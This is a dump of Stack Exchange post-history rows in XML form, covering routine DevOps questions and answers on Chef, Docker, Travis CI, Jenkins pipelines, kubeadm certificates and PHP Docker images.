  <row Id="28336" PostHistoryTypeId="2" PostId="9495" RevisionGUID="fefc5735-4fdb-4b91-bef6-ae4949e23067" CreationDate="2019-10-20T08:02:52.057" UserId="354" Text="What you suggest might be the simplest way to collect the data, but you will have to do quite a bit of work to extract the availability over certain periods. &#xD;&#xA;&#xD;&#xA;I think it's fair to say that if you want availability, **you need a monitoring system**. This means having an extra service in your catalogue to continuously probe the availability of your microservices over time. Storing them in a time-series database would allow you to make queries to establish [availability](https://en.wikipedia.org/wiki/Availability) over various periods.&#xD;&#xA;&#xD;&#xA;There are many tools which could do this for you. A good starting place would be the [CNCF monitoring landscape](https://landscape.cncf.io/category=monitoring&amp;format=card-mode&amp;grouping=category)" ContentLicense="CC BY-SA 4.0" />
  <row Id="28338" PostHistoryTypeId="5" PostId="1875" RevisionGUID="65fa6e12-61dc-4864-ba59-96ebd6d866ef" CreationDate="2019-10-20T08:30:19.843" UserId="354" Comment="Make the question explicitly about Chef 12" Text="I am using Chef and trying to upload a cookbook on chef-server but getting an error in response:&#xD;&#xA;&#xD;&#xA;&gt; {&quot;error&quot;:[&quot;Invalid key all_files in request body&quot;]}&#xD;&#xA;&#xD;&#xA;However, I can see the list of cookbook using `knife node list`&#xD;&#xA;&#xD;&#xA;My chefDK version:&#xD;&#xA;&#xD;&#xA;    chef -v&#xD;&#xA;    Chef Development Kit Version: 2.0.28&#xD;&#xA;    chef-client version: 13.2.20&#xD;&#xA;    delivery version: master (17c1b0fed9be4c70f69091a6d21a4cbf0df60a23)&#xD;&#xA;    berks version: 6.2.0&#xD;&#xA;    kitchen version: 1.16.0&#xD;&#xA;    inspec version: 1.31.1&#xD;&#xA;&#xD;&#xA;Chef-server version is `12.0.5`&#xD;&#xA;&#xD;&#xA;Logs:&#xD;&#xA;&#xD;&#xA;    DEBUG: Response body contains:&#xD;&#xA;    {&quot;error&quot;:[&quot;Invalid key all_files in request body&quot;]}&#xD;&#xA;    DEBUG: Chef::HTTP calling Chef::HTTP::JSONInput#handle_response&#xD;&#xA;&#xD;&#xA;I can't upload more logs, if one needs particular info then I can provide.&#xD;&#xA;&#xD;&#xA;Any help would be appreciated.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28339" PostHistoryTypeId="4" PostId="1875" RevisionGUID="65fa6e12-61dc-4864-ba59-96ebd6d866ef" CreationDate="2019-10-20T08:30:19.843" UserId="354" Comment="Make the question explicitly about Chef 12" Text="Chef 12: Error while uploading cookbook" ContentLicense="CC BY-SA 4.0" />
  <row Id="28340" PostHistoryTypeId="24" PostId="1875" RevisionGUID="65fa6e12-61dc-4864-ba59-96ebd6d866ef" CreationDate="2019-10-20T08:30:19.843" Comment="Proposed by 354 approved by -1 edit id of 1103" ContentLicense="CC BY-SA 4.0" />
  <row Id="28341" PostHistoryTypeId="5" PostId="1875" RevisionGUID="456018d6-e939-4dbf-b5d5-ce0a004168ba" CreationDate="2019-10-20T08:30:19.843" UserId="40" Comment="remove noise" Text="I am using Chef and trying to upload a cookbook on chef-server but getting an error in response:&#xD;&#xA;&#xD;&#xA;&gt; {&quot;error&quot;:[&quot;Invalid key all_files in request body&quot;]}&#xD;&#xA;&#xD;&#xA;However, I can see the list of cookbook using `knife node list`&#xD;&#xA;&#xD;&#xA;My chefDK version:&#xD;&#xA;&#xD;&#xA;    chef -v&#xD;&#xA;    Chef Development Kit Version: 2.0.28&#xD;&#xA;    chef-client version: 13.2.20&#xD;&#xA;    delivery version: master (17c1b0fed9be4c70f69091a6d21a4cbf0df60a23)&#xD;&#xA;    berks version: 6.2.0&#xD;&#xA;    kitchen version: 1.16.0&#xD;&#xA;    inspec version: 1.31.1&#xD;&#xA;&#xD;&#xA;Chef-server version is `12.0.5`&#xD;&#xA;&#xD;&#xA;Logs:&#xD;&#xA;&#xD;&#xA;    DEBUG: Response body contains:&#xD;&#xA;    {&quot;error&quot;:[&quot;Invalid key all_files in request body&quot;]}&#xD;&#xA;    DEBUG: Chef::HTTP calling Chef::HTTP::JSONInput#handle_response&#xD;&#xA;&#xD;&#xA;I can't upload more logs, if one needs particular info then I can provide.&#xD;&#xA;&#xD;&#xA;Any help?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28344" PostHistoryTypeId="5" PostId="5611" RevisionGUID="9a231a79-1008-4aa6-baa5-0bc315ecc86d" CreationDate="2019-10-20T08:45:02.857" UserId="40" Comment="edited body; edited title" Text="I have a Docker image on my system `12346789ABCD`.&#xD;&#xA;&#xD;&#xA;Is there a way to know where it is coming from?&#xD;&#xA;&#xD;&#xA;Specifically, I would like to know if it was built locally or downloaded from a repository, and in that latter case, downloaded from which repository.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28345" PostHistoryTypeId="4" PostId="5611" RevisionGUID="9a231a79-1008-4aa6-baa5-0bc315ecc86d" CreationDate="2019-10-20T08:45:02.857" UserId="40" Comment="edited body; edited title" Text="How to know where a docker image came from?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28346" PostHistoryTypeId="5" PostId="4305" RevisionGUID="42fb44ec-505a-47cd-8a4c-e149aa3babf3" CreationDate="2019-10-20T09:37:12.453" UserId="8348" Comment="Include manual migration" Text="Travis CI originally created two separated platforms to differentiate between private repos / paid ([travis-ci.com](https://travis-ci.com)) and public repos / free ([travis-ci.org](https://travis-ci.org)).&#xD;&#xA;&#xD;&#xA;However, as of May 2018, **new users and projects (both private and public) should only use [travis-ci.com](https://travis-ci.com)** (see [official announcement](https://blog.travis-ci.com/2018-05-02-open-source-projects-on-travis-ci-com-with-github-apps)):&#xD;&#xA;&#xD;&#xA;&gt; Over the next several months, we’ll be migrating all travis-ci.org repositories and customers to travis-ci.com. Though this will not happen right away, you can go ahead and read more about what to expect [in the docs](https://docs.travis-ci.com/user/open-source-on-travis-ci-com/).&#xD;&#xA;&#xD;&#xA;As already pointed out in the comments section, migration is currently in beta, but may be triggered manually. So, if you still have repositories on travis-ci.org (see [migration guide](https://docs.travis-ci.com/user/migrate/open-source-on-travis-ci-com/#existing-open-source-repositories-on-travis-ciorg)):&#xD;&#xA;&#xD;&#xA;&gt;Open source projects and their build history will continue to run on `travis-ci.org` at this time.&#xD;&#xA;&gt;&#xD;&#xA;&gt;However, you can be included in the closed beta testing to start migrating your open source repositories to `travis-ci.com`.&#xD;&#xA;&gt;&#xD;&#xA;&gt;1. To have any public repository migrated over, it must be first activated on [travis-ci.com](https://www.travis-ci.com/) using GitHub Apps.&#xD;&#xA;&gt;&#xD;&#xA;&gt;1. Head over to [travis-ci.org](https://www.travis-ci.org/) and in [your account page](https://travis-ci.org/account/repositories), subscribe to be part of the beta to migrate your Open Source repositories.&#xD;&#xA;&gt;&#xD;&#xA;&gt;1. Once your account is ready to migrate, you’ll receive a confirmation email.&#xD;&#xA;&gt;1. Check out what the beta testing includes on this [open source to travis-ci.com migration guide](https://docs.travis-ci.com/user/migrate/open-source-repository-migration)." ContentLicense="CC BY-SA 4.0" />
  <row Id="28350" PostHistoryTypeId="5" PostId="5955" RevisionGUID="8304e573-8b68-40f7-a497-8094ea508eec" CreationDate="2019-10-20T14:44:57.690" UserId="10599" Comment="updated to the latest info" Text="I don’t know of a specific tool but I have setup a lot of webhook handlers on OKD kubernetes to do git driven updates to kubernetes. All the scripts are on GitHub as [OCD][1]. The tools I used are:&#xD;&#xA;&#xD;&#xA; 1. [adnanh/webook][2] a go binary that you configure to catch git webhooks and run scripts. Here is my [hooks.json][3] config to match GitHub release events and run a build script on openshift kubernetes. Looking at the docs there are [PR events][4] you can match on. So you should be able to setup Webhooks to fire on PRs and trigger s2i builds.&#xD;&#xA;&#xD;&#xA; 2. [hub][5] is GitHubs official command-line tool. I put it into my tools image that runs my webhooks. It has some pull request commands. I haven’t checked them against your stated requirements. Hub is just a wrapper to their API so worst case you would need to use curl to update PRs. &#xD;&#xA;&#xD;&#xA; 3. [Helm][6] is the installer/template engine I use for creating apps. [Helmfile][7] is an excellent extension. So here is a [generic “deployer”][8] helm chart that can spin up a deployment. So OCD responds to GitHub events of new Helmfile declarative configuration being pushed and deploys or updated any helm releases modified in git. &#xD;&#xA;&#xD;&#xA;For builds I had to do quite a bit to have an OKD container build tag the final container image with the GitHub release tag which is a [generic “ocd-release-build”][9] helm chart. I think that is necessary as each PR will need by tagged with the PR number in the container registry to deploy from that specific tag. I haven’t ever tried to get OKD to build a `refs/pull` but I would be shocked it didn’t work as expected. &#xD;&#xA;&#xD;&#xA;So while OCD doesn’t yet spin up builds and deploys based on PR events it appears is likely that it could be extended to do that. We have migrated our apps from our in-house scripts over to OCD. A “PR previews” feature could be a very cool feature to add.  Feel free to raise a feature request. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md&#xD;&#xA;  [2]: https://github.com/adnanh/webhook&#xD;&#xA;  [3]: https://github.com/ocd-scm/ocd-builder-webhook/blob/master/hooks.json&#xD;&#xA;  [4]: https://developer.github.com/v3/activity/events/types/&#xD;&#xA;  [5]: https://hub.github.com/hub.1.html&#xD;&#xA;  [6]: https://docs.helm.sh&#xD;&#xA;  [7]: https://github.com/roboll/helmfile&#xD;&#xA;  [8]: https://github.com/ocd-scm/ocd-deployer&#xD;&#xA;  [9]: https://github.com/ocd-scm/ocd-release-build" ContentLicense="CC BY-SA 4.0" />
  <row Id="28351" PostHistoryTypeId="2" PostId="9497" RevisionGUID="e9eb4f9b-330d-4c9c-89f6-c6fc304a0439" CreationDate="2019-10-20T16:01:22.340" UserId="17696" Text="We also switched from Git Flow to GitLab Flow several months ago and so far we're very happy with our decision. It works very well with GitLab, it's easy to understand and less error-prone and you don't need additional Git commands (which are quite slow on Windows).&#xA;&#xA;We use [Docker Compose][1] to organize our microservices and have a separate project/repository just for the staging and production compose file(s) of our actual application. In the project and CI of each service you can then combine such compose files with a specific one that just tells Docker to use the specific branch of the specific service (and maybe other branch specific settings).&#xA;&#xA;The production compose file contains the production specific settings and tells each service to use a specific tag:&#xA;&#xA;    service1:&#xA;        image: examples/service1:1.5.4     &#xA;        ports: &#xA;            - &quot;8000:8000&quot;&#xA;        volumes: &#xA;            - &quot;/data&quot; &#xA;    service2:&#xA;        image: examples/service2:3.5.2&#xA;&#xA;The staging compose file tells each service to use the image of the master branch:&#xA;&#xA;    service1:&#xA;        image: examples/service1:master          &#xA;    service2:&#xA;        image: examples/service2:master&#xA;&#xA;Then the compose file for a specific branch of service 1 just looks like that:&#xA;&#xA;    service1:&#xA;        image: examples/service1:some-branch-name&#xA;&#xA;&#xA;When you deploy a review environment for the specific branch with all three compose files at once you'll get something like the following:&#xA;&#xA;    service1:&#xA;        image: examples/service1:some-branch-name&#xA;        ports: &#xA;            - &quot;8000:8000&quot;&#xA;        volumes: &#xA;            - &quot;/data&quot; &#xA;    service2:&#xA;        image: examples/service2:master&#xA;&#xA;&#xA;  [1]: https://docs.docker.com/compose/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28352" PostHistoryTypeId="2" PostId="9498" RevisionGUID="9c57adf2-041e-4540-a6fe-a768f5c7d3b1" CreationDate="2019-10-20T16:55:14.327" UserId="17696" Text="&gt; If I understand Docker Desktop and Hyper-V correctly, volumes are stored inside a MobyLinuxVM.&#xA;&#xA;That's right and it seems to be possible to  move the whole VM to another drive as described [here][1]. &#xA;&#xA;Maybe you could solve you problem by using a volume driver as [described in the official docs][2]. &#xA;&#xA;Another approach is to use a Linux VM with Docker and tell your Docker on Windows installation to use another daemon by setting the [DOCKER_HOST][3] environment variable. This will give you more control and will allow you to use everything available on Linux (mounting, symbolic links, ...). But of course this will not work if you or your IT department wants to use Windows containers some day. &#xA;&#xA;&#xA;  [1]: https://github.com/docker/for-win/issues/1589#issuecomment-373435228&#xA;  [2]: https://docs.docker.com/storage/volumes/&#xA;  [3]: https://docs.docker.com/engine/reference/commandline/cli/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28353" PostHistoryTypeId="5" PostId="9498" RevisionGUID="6b09ef55-feda-4ae2-97e8-a8e668031051" CreationDate="2019-10-20T17:42:32.530" UserId="17696" Comment="deleted 1 character in body" Text="&gt; If I understand Docker Desktop and Hyper-V correctly, volumes are stored inside a MobyLinuxVM.&#xA;&#xA;That's right and it seems to be possible to  move the whole VM to another drive as described [here][1]. &#xA;&#xA;Maybe you could solve you problem by using a volume driver as [described in the official docs][2]. &#xA;&#xA;Another approach is to use a Linux VM with Docker and tell your Docker on Windows installation to use another daemon by setting the [DOCKER_HOST][3] environment variable. This will give you more control and will allow you to use everything available on Linux (mounting, symbolic links, ...). But of course this will not work if you or your IT department want to use Windows containers some day. &#xA;&#xA;&#xA;  [1]: https://github.com/docker/for-win/issues/1589#issuecomment-373435228&#xA;  [2]: https://docs.docker.com/storage/volumes/&#xA;  [3]: https://docs.docker.com/engine/reference/commandline/cli/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28354" PostHistoryTypeId="2" PostId="9499" RevisionGUID="3aa4a4a2-2ac9-481c-96b5-00f3cbf60097" CreationDate="2019-10-20T21:32:35.807" UserId="210" Text="Attempt was `choco install git -y`, but it does not seem to be available:&#xD;&#xA;&#xD;&#xA;    The command &quot;diff -u &lt;(echo -n) &lt;(gofmt -d ./)&quot; exited with 2.&#xD;&#xA;    diff: /dev/fd/62: No such file or directory&#xD;&#xA;&#xD;&#xA;[Windows Travis Build][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://travis-ci.org/030/go-multipart/jobs/600458560" ContentLicense="CC BY-SA 4.0" />
  <row Id="28355" PostHistoryTypeId="1" PostId="9499" RevisionGUID="3aa4a4a2-2ac9-481c-96b5-00f3cbf60097" CreationDate="2019-10-20T21:32:35.807" UserId="210" Text="How to get 'diff' on Windows TravisCI machines?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28356" PostHistoryTypeId="3" PostId="9499" RevisionGUID="3aa4a4a2-2ac9-481c-96b5-00f3cbf60097" CreationDate="2019-10-20T21:32:35.807" UserId="210" Text="&lt;windows&gt;&lt;travis-ci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28360" PostHistoryTypeId="2" PostId="9501" RevisionGUID="8b3f63cc-2ee5-41c3-8f62-e0b3d0f884c8" CreationDate="2019-10-21T07:23:35.993" UserId="17718" Text="Well, the title says all. I have no success trying to route docker's network traffic through an active VPN connection (openconnect) or SSH tunnel (sshuttle). Docker creates a virtual network interface called `docker` which seems to be ignoring all the iptables rules that sshuttle adds. In VPN case however the entire docker process disconnects while OS's traffic is being routed through VPN.&#xD;&#xA;&#xD;&#xA;Please note that I am not trying to push a contained behind VPN. The problem occurs specifically on build stage. " ContentLicense="CC BY-SA 4.0" />
  <row Id="28361" PostHistoryTypeId="1" PostId="9501" RevisionGUID="8b3f63cc-2ee5-41c3-8f62-e0b3d0f884c8" CreationDate="2019-10-21T07:23:35.993" UserId="17718" Text="Tunnel docker traffic though VPN or SSH, during build stage" ContentLicense="CC BY-SA 4.0" />
  <row Id="28362" PostHistoryTypeId="3" PostId="9501" RevisionGUID="8b3f63cc-2ee5-41c3-8f62-e0b3d0f884c8" CreationDate="2019-10-21T07:23:35.993" UserId="17718" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28363" PostHistoryTypeId="5" PostId="9497" RevisionGUID="37b6041e-a7b0-4c3e-876e-3f4ca5faa6eb" CreationDate="2019-10-21T07:43:04.850" UserId="17696" Comment="added 35 characters in body" Text="We also switched from Git Flow to GitLab Flow several months ago and so far we're very happy with our decision. It works very well with GitLab, it's easy to understand and less error-prone and you don't need additional Git commands (which are quite slow on Windows).&#xA;&#xA;We use [Docker Compose][1] to organize our microservices and have a separate project/repository just for the staging and production compose file(s) of our actual application. In the project and CI of each service you can then combine such compose files with a specific one that just tells Docker to use the specific branch of the specific service (and maybe other branch specific settings).&#xA;&#xA;The production compose file contains the production specific settings and tells each service to use a specific tag:&#xA;&#xA;    service1:&#xA;        image: examples/service1:1.5.4     &#xA;        ports: &#xA;            - &quot;8000:8000&quot;&#xA;        volumes: &#xA;            - &quot;/data&quot; &#xA;    service2:&#xA;        image: examples/service2:3.5.2&#xA;&#xA;The staging compose file tells each service to use the image of the master branch:&#xA;&#xA;    service1:&#xA;        image: examples/service1/master:latest          &#xA;    service2:&#xA;        image: examples/service2/master:latest&#xA;&#xA;Then the compose file for a specific branch of service 1 just looks like that:&#xA;&#xA;    service1:&#xA;        image: examples/service1/some-branch-name:latest&#xA;&#xA;&#xA;When you deploy a review environment for the specific branch with all three compose files at once you'll get something like the following:&#xA;&#xA;    service1:&#xA;        image: examples/service1/some-branch-name:latest&#xA;        ports: &#xA;            - &quot;8000:8000&quot;&#xA;        volumes: &#xA;            - &quot;/data&quot; &#xA;    service2:&#xA;        image: examples/service2/master:latest&#xA;&#xA;&#xA;  [1]: https://docs.docker.com/compose/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28364" PostHistoryTypeId="2" PostId="9502" RevisionGUID="fd0fba42-fcb8-424c-888d-5554f875d10c" CreationDate="2019-10-21T11:18:49.793" UserId="397" Text="Docker actually manipulates `iptables` behind the scenes, so there is a good chance that `sshuttle` is interacting with docker in unpredictable ways.  Any rules that need to be added to IP Tables that affect the `docker` interface need to be added to the `DOCKER-USER` chain as per [Docker and `iptables`][1].&#xD;&#xA;&#xD;&#xA;It's quite an involved topic so I would also consider reading [an exploration of Docker networking][2] and the [overview of the docker network][3].&#xD;&#xA;&#xD;&#xA;There is also an old [question on StackOverflow][4] but based upon the comments the current highest voted answer no longer works.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/network/iptables/&#xD;&#xA;  [2]: https://success.docker.com/article/networking#iptables&#xD;&#xA;  [3]: https://docs.docker.com/network/&#xD;&#xA;  [4]: https://stackoverflow.com/questions/29838892/how-to-let-docker-container-work-with-sshuttle" ContentLicense="CC BY-SA 4.0" />
  <row Id="28365" PostHistoryTypeId="2" PostId="9503" RevisionGUID="1af0d7e2-518f-4384-9897-98b67a8b1a5a" CreationDate="2019-10-21T11:26:58.337" UserId="397" Text="When `git` is installed it usually doesn't add the `diff` executable to the path because it would conflict with other versions of `diff` native to Windows, for example, the `Compare-Object` alias in PowerShell.&#xD;&#xA;&#xD;&#xA;1. You can usually get around this by adding `C:\Program Files\Git\usr\` to the path which contains all of the UNIX ports of functionality such `diff`, `grep`, `awk`, `sed`.  You do have to be careful as some commands are used more commonly on Windows than others, the most common one is `find`.&#xD;&#xA;&#xD;&#xA;2. A second option would be to fully qualify the call to `diff` by appending `C:\Program Files\Git\usr\bin`." ContentLicense="CC BY-SA 4.0" />
  <row Id="28366" PostHistoryTypeId="2" PostId="9504" RevisionGUID="14c64269-c4a4-46e1-83df-b473e9d1abe5" CreationDate="2019-10-21T13:00:03.840" UserId="5592" Text="We have a parameterized declarative Jenkins pipeline which does tests on a java project with maven. The pipeline goes through a lot of stages to ensure that the code works as expected. However, every now and then we hit some concurrency/parallelization issues in our project's tests. Normally the way we &quot;catch&quot; these issues is by manually doing a N `replays` of a specific triggered PR/branch build. &#xD;&#xA;&#xD;&#xA;What I'm trying to achieve is to automate this through the pipeline so that one can select a `choice` parameter before triggering the build and it would automatically queue the amount of builds.&#xD;&#xA;&#xD;&#xA;I was thinking of doing something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    parameters { &#xD;&#xA;        choice(defaultValue: 'false', choices: ['false', '5', '10', '15', '20'], description: 'If this field is set, it will queue additional builds (useful in parallel testing)', name: 'ADDITIONAL_BUILDS')&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And before the `pipeline` is executed to have a loop which does:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;if(!ADDITIONAL_BUILDS.equals('false')) {&#xD;&#xA;    for (int i = 0; i &lt; ADDITIONAL_BUILDS; i++)&#xD;&#xA;    {&#xD;&#xA;        build job: env.JOB_NAME, wait: false, parameters: parameters&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However, the issue with this is that it'll not use the correct revision (i.e. if the code is updated in-between, the next build will use the latest revision). Is there any way the `build` step can be used with a specific revision (other than passing yet another parameter)? Or maybe there is a way to programmatically do what `replay pipeline` does?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28367" PostHistoryTypeId="1" PostId="9504" RevisionGUID="14c64269-c4a4-46e1-83df-b473e9d1abe5" CreationDate="2019-10-21T13:00:03.840" UserId="5592" Text="Is it possible to queue multiple replays of a Jenkins pipeline programmatically?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28368" PostHistoryTypeId="3" PostId="9504" RevisionGUID="14c64269-c4a4-46e1-83df-b473e9d1abe5" CreationDate="2019-10-21T13:00:03.840" UserId="5592" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28371" PostHistoryTypeId="2" PostId="9505" RevisionGUID="520f1745-107b-45ec-8c37-7c2f5cacc010" CreationDate="2019-10-21T14:10:32.500" UserId="8489" Text="Looking at https://hub.docker.com/_/php I can see reference to `php-cli` and `php-fpm`.&#xD;&#xA;&#xD;&#xA;Now, I am aware of the concepts of PHP FPM - Fast CGI Process Manager. I'm also aware the PHP can be run in the command line and for php composer and Symfony console.&#xD;&#xA;&#xD;&#xA;Does the Docker `php-fpm` not have PHP CLI tools like `php-fpm`. Or is `php-fpm` a superset of `php-cli` ?&#xD;&#xA;&#xD;&#xA;Why would one choose one or the other?&#xD;&#xA;&#xD;&#xA;Thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="28372" PostHistoryTypeId="1" PostId="9505" RevisionGUID="520f1745-107b-45ec-8c37-7c2f5cacc010" CreationDate="2019-10-21T14:10:32.500" UserId="8489" Text="What is the difference between php-cli and php-fpm, why 2 php variants and why choose one or the other?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28373" PostHistoryTypeId="3" PostId="9505" RevisionGUID="520f1745-107b-45ec-8c37-7c2f5cacc010" CreationDate="2019-10-21T14:10:32.500" UserId="8489" Text="&lt;docker&gt;&lt;php&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28374" PostHistoryTypeId="2" PostId="9506" RevisionGUID="8228989e-1b0e-4a3c-b8f0-6af2345a2e48" CreationDate="2019-10-21T14:14:36.627" UserId="13139" Text="To do this, you’ll first need your `kubeadm` configuration file. This creates a file named `kubeadm.yaml`:&#xD;&#xA;&#xD;&#xA;`kubectl -n kube-system get configmap kubeadm-config -o jsonpath='{.data.ClusterConfiguration}' &gt; kubeadm.yaml`&#xD;&#xA;&#xD;&#xA;Now open the file in an editor, and find the `certSANs` list under the `apiServer` section. If it does not exist, you’ll need to add it; if so, you’ll just add another entry to that list. Example:&#xD;&#xA;&#xD;&#xA;    apiServer:&#xD;&#xA;      certSANs:&#xD;&#xA;      - &quot;172.29.50.162&quot;&#xD;&#xA;      - &quot;k8s.domain.com&quot;&#xD;&#xA;      - &quot;other-k8s.domain.net&quot;&#xD;&#xA;      extraArgs:&#xD;&#xA;        authorization-mode: Node,RBAC&#xD;&#xA;      timeoutForControlPlane: 4m0s&#xD;&#xA;&#xD;&#xA;Now move the old certificates to another folder, otherwise `kubeadm` will not recreate new ones:&#xD;&#xA;&#xD;&#xA;`mv /etc/kubernetes/pki/apiserver.{crt,key} ~` &#xD;&#xA;&#xD;&#xA;Use `kubeadm` to generate new apiserver certificates:&#xD;&#xA;&#xD;&#xA;`kubeadm init phase certs apiserver --config kubeadm.yaml`&#xD;&#xA;&#xD;&#xA;Now restart your _kubeapiserver_ container:&#xD;&#xA;&#xD;&#xA; 1. Run `docker ps | grep kube-apiserver | grep -v pause` to get the&#xD;&#xA;    container ID for the container running the Kubernetes API server&#xD;&#xA; 2.  Run `docker kill &lt;containerID&gt;` to kill the container.&#xD;&#xA; 3. *The Kubelet will automatically restart the container, which will pick up the new certificate.*&#xD;&#xA;&#xD;&#xA;If everything is working as expected, don't forget to update the `kubeadm` ConfigMap stored in the cluster, otherwise, future `kubeadm` upgrade will be lacking your new config:&#xD;&#xA;&#xD;&#xA;`kubeadm config upload from-file --config kubeadm.yaml`&#xD;&#xA;&#xD;&#xA;*This article has a more complete guide on how to [Adding a Name to the Kubernetes API Server Certificate][1]*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://blog.scottlowe.org/2019/07/30/adding-a-name-to-kubernetes-api-server-certificate/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28375" PostHistoryTypeId="2" PostId="9507" RevisionGUID="f1080d6f-3322-47ef-91ef-9bc7e949364f" CreationDate="2019-10-21T14:26:51.260" UserId="397" Text="They are different tools for different purposes:&#xD;&#xA;&#xD;&#xA; - **php-cli** is the standalone tool for running a PHP scripts in the same way you would run it from the command line: `php somescript.php`.  It seems you can also use it to base other images from.&#xD;&#xA;&#xD;&#xA; &gt; This variant contains the PHP CLI tool with default mods. If you need a web server, this is probably not the image you are looking for. It is designed to be used both as a throw away container (mount your source code and start the container to start your app), as well as a base from which to build other images.&#xD;&#xA;&#xD;&#xA; - **php-fpm** is the FastCGI server implementation of PHP which you would use with a FastCGI compliant web server such as Apache or Nginx.&#xD;&#xA;&#xD;&#xA; &gt; This variant contains PHP-FPM, which is a FastCGI implementation for PHP. See the [PHP-FPM][1] website for more information about PHP-FPM.&#xD;&#xA;&#xD;&#xA;You also have two other variants:&#xD;&#xA;&#xD;&#xA; - **php-apache** which is just Apache configured with `mod_php`&#xD;&#xA; - **php-alpine** is the smallest possible Docker image based upon Alpine Linux, albeit with some compatibility issues.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://php-fpm.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28376" PostHistoryTypeId="5" PostId="9507" RevisionGUID="9e3df75d-d7ef-41f1-aa42-c9d442210cf6" CreationDate="2019-10-21T14:33:46.327" UserId="397" Comment="Found the original Dockerfile" Text="They are different tools for different purposes:&#xD;&#xA;&#xD;&#xA; - **php-cli** is the standalone tool for running a PHP scripts in the same way you would run it from the command line: `php somescript.php`.  It seems you can also use it to base other images from.&#xD;&#xA;&#xD;&#xA; &gt; This variant contains the PHP CLI tool with default mods. If you need a web server, this is probably not the image you are looking for. It is designed to be used both as a throw away container (mount your source code and start the container to start your app), as well as a base from which to build other images.&#xD;&#xA;&#xD;&#xA; - **php-fpm** is the FastCGI server implementation of PHP which you would use with a FastCGI compliant web server such as Apache or Nginx.&#xD;&#xA;&#xD;&#xA; &gt; This variant contains PHP-FPM, which is a FastCGI implementation for PHP. See the [PHP-FPM][1] website for more information about PHP-FPM.&#xD;&#xA;&#xD;&#xA;You also have two other variants:&#xD;&#xA;&#xD;&#xA; - **php-apache** which is just Apache configured with `mod_php`&#xD;&#xA; - **php-alpine** is the smallest possible Docker image based upon Alpine Linux, albeit with some compatibility issues.&#xD;&#xA;&#xD;&#xA;You can [see all of the Dockerfiles][2] on GitHub and whilst it doesn't appear that `php-fpm` is based upon `php-cli` practically they are likely to be very similar and `php-fpm` is probably a superset of `php-cli`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://php-fpm.org/&#xD;&#xA;  [2]: https://github.com/docker-library/php/tree/master/7.3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28377" PostHistoryTypeId="2" PostId="9508" RevisionGUID="b8f7e1fe-8e12-4948-b921-8f2f069dc04c" CreationDate="2019-10-21T14:55:00.927" UserId="8489" Text="**Note: also posted in Security StackExchange as there is a security aspect to this question (sorry for cross-posting).**&#xD;&#xA;&#xD;&#xA;https://security.stackexchange.com/questions/219924/why-does-docker-hub-allow-non-official-docker-images-and-why-do-they-exist&#xD;&#xA;&#xD;&#xA;I'm evaluating Docker images for my development and production setups.&#xD;&#xA;&#xD;&#xA;When I research for how to do something in Docker, quite often I find answers that include the author's own Docker image. For me this is not suitable as this hinders the transparency of the solution and uncertainty of reliance on future maintenance by that author. Both of these potential issues have security implications.&#xD;&#xA;&#xD;&#xA;While the Docker hub, https://hub.docker.com/ can provide a convenient centralised and well known outlet for publishing one's own Docker images, derived from officials, what would be the advantage of using these unofficial images over the originals.&#xD;&#xA;&#xD;&#xA;I am aware of reverse engineering tools, as described in answers here: https://stackoverflow.com/questions/48228275/docker-reverse-engineering-of-an-image and that at least some of the unofficial Docker images have an associated github repo that apparently shows how the Docker image was built. But this is an inconvenient level of &quot;indirection&quot; or friction to being really sure (if at all possible) as to the contents of the Docker image." ContentLicense="CC BY-SA 4.0" />
  <row Id="28378" PostHistoryTypeId="1" PostId="9508" RevisionGUID="b8f7e1fe-8e12-4948-b921-8f2f069dc04c" CreationDate="2019-10-21T14:55:00.927" UserId="8489" Text="Tags Users Unanswered Why does Docker hub allow non-official Docker images and why do they exist?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28379" PostHistoryTypeId="3" PostId="9508" RevisionGUID="b8f7e1fe-8e12-4948-b921-8f2f069dc04c" CreationDate="2019-10-21T14:55:00.927" UserId="8489" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
